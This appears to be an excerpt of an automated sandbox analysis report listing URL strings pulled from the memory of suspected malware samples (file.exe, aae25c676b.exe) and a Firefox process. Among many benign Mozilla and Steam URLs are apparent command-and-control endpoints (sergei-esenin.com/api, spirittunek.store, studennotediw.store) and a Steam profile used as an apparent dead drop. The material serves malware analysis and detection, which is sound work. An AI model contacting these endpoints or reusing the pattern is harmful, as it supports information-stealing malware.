Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comto-handle-default-browser-agentdevtools-commandkey-storageFound
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2927621655.000002EE64B60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2848249080.000002EE4C96B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001A.00000003.2681144026.000002EE5CB10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C999000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2680534458.000002EE5C900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876295890.000002EE5CE00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683845506.000002EE5CB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C9B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/google-analytics-legacy.jsshims/mochitest-shim-3.js
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/google-analytics-legacy.jsshims/mochitest-shim-3.jsWeb
Source: file.exe, file.exe, 00000000.00000003.2214088473.000000000559E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2246657892.0000000005596000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202163946.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2246625273.0000000005593000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2258900362.0000000005594000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214122871.00000000055AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: file.exe, 00000000.00000003.2202163946.00000000055A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiWD
Source: file.exe, 00000000.00000003.2214088473.000000000559E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214122871.00000000055AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiw/yp
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001A.00000002.2905856189.000002EE5EF42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2917093566.000002EE60467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E95F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64A9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C9E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2873106166.000002EE5C9E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svghttps://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/api
Source: firefox.exe, 0000001A.00000002.2913537647.000002EE6005C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64A53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2939387090.000002EE67103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64A53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2927621655.000002EE64B60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784801311.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001A.00000003.2784527103.000002EE6511D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2891757977.000002EE5DD26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2939387090.000002EE67103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2926686487.000002EE64A53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2848249080.000002EE4C9D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784801311.000002EE65114000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2929744715.000002EE64DD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001A.00000002.2935687612.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2752233467.000002EE65177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783622584.000002EE65177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 0000001A.00000002.2869831146.000002EE5C44A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872614032.000002EE5C848000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2927621655.000002EE64B60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E910000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2900792770.000002EE5EA4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001A.00000002.2899937312.000002EE5E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E910000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E90C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2897777583.000002EE5E77B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2855339754.000002EE58F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899937312.000002EE5E908000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2900792770.000002EE5EA4D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2897777583.000002EE5E7FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562081008.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.000000000179D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.00000000017B8000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: aae25c676b.exe, 00000015.00000003.2713381738.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/-
Source: aae25c676b.exe, 00000009.00000002.2562909135.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562081008.0000000000C49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562081008.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.000000000179D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: aae25c676b.exe, 00000009.00000002.2562796785.0000000000C16000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562081008.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.00000000017B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900;
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: aae25c676b.exe, 00000009.00000003.2562081008.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000002.2562909135.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562260264.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000002.2562821885.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562081008.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2713381738.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2731829717.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: aae25c676b.exe, 00000009.00000003.2562081008.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562260264.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000002.2562821885.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.00000000017D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cb9e7f3651c38ac4
Source: aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562081008.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C82000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000002.2730364070.000000000179D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.2177063879.0000000001000000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000009.00000003.2562025854.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, aae25c676b.exe, 00000015.00000003.2711982095.000000000181E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: aae25c676b.exe, 00000015.00000002.2730364070.00000000017A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store:443/apiz=
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-user-removal
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001A.00000002.2862601112.000002EE5A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001A.00000002.2855339754.000002EE58FE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2936846123.000002EE653E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2869831146.000002EE5C414000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
